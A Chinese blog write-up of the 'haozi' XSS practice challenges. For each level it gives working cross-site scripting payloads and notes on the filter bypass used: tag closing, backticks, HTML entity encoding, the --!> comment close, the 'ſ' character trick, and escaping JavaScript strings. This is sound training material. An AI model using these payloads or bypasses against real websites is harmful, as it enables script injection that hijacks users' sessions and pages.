XSS(haozi)练习题解

简单的记录一下自己XSS的练习。
题目网址:https://xss.haozi.me/#/0x00

0x00

<script>alert(1)</script>
<img src="任意图片名" onerror="alert(1)">

解题思路:没什么技术含量,一个基本的XSS。这里也可以利用资源报错来弹窗。

0x01

</textarea><script>alert(1)</script>
</textarea><img src="任意图片名" onerror="alert(1)">

解题思路:这里主要是要将默认返回的标签先闭合再插入XSS代码。(后半部分闭不闭合皆可)。

0x02

"><script>alert(1)</script>
"><img src="任意图片名" onerror="alert(1)">

解题思路:同样是闭合题中所给的标签。

0x03

<script>alert`1`</script>
<img src="任意图片名" onerror="alert`1`">

解题思路:题目中有对括号的过滤,这里考虑使用反撇号来代替括号起到相同的效果。

0x04

<img src="任意图片名" onerror="alert&#40;1&#41;">
<img src="任意图片名" onerror="alert&#96;1&#96;">

解题思路:题目将反撇号过滤掉了,所以考虑用HTML实体编码来进行绕过。
其中上面一行为左右括号,下面一行为反撇号。

0x05

--!><img src="任意图片名" onerror="alert(1)">

解题思路:题目将用于闭合注释的-->过滤掉了,用--!>来闭合即可。

0x06

type="image" src="1" onerror
="alert(1)"

解题思路:在input标签中添加一个图片类型,然后依然利用资源报错(注意换行的位置)

0x07

<img src="1" onerror="alert(1)"

解题思路:这个是过滤了所有以 /</?[^>]开头 和 > 结尾的字符,所以最后面不加>就好了。

0x08

</style
><script>alert(1)</script>

解题思路:这个是过滤了标签导致无法闭合,所以用换行或者空格将它分开以绕过。

0x09

https://www.segmentfault.com"></script><img src="1" onerror="alert(1)">

解题思路:这里限制了URL,其余的按正常套路闭合即可。

0x0A

https://www.segmentfault.com@xss.haozi.me/j.js

解题思路:这个用到了@,在URL中会解析@后面的网址,如果你的没弹出来试试换个浏览器,我的用火狐就可以了。

0x0B

<img src="1" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

解题思路:这个题将所有的字母都换成了大写,所以要将alert(1)进行HTML实体字符转换。

0x0C

<img src="1" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

解题思路:这里过滤了script标签,继续使用资源报错的方式弹窗即可。

0x0D

alert(1)
-->

解题思路:这个是将输入内容带入到了注释中,可以用换行逃逸。由于过滤了单引号',所以后面的 ')可以用-->注释掉

0x0E

<ſcript src="https://xss.haozi.me/j.js"></script>

解题思路:过滤了所有<与字母的组合。即<s无法使用。但是ſ大写后为S,且其ascii值不与s相等,因此可以绕过。

0x0F

');alert(1)//

解题思路:先闭合前面的console.log部分,然后在最后注释掉后面的部分。

0x10

1;alert(1);

解题思路:依旧是闭合思路。

0x11

");alert(1)//

解题思路:同0x0F,闭合前面,注释掉后面。

0x12

\");alert(1);//

解题思路:同样的闭合前面,注释掉后面。

posted @ 2022-03-27 19:40  Weisswire  阅读(361)  评论(0编辑  收藏  举报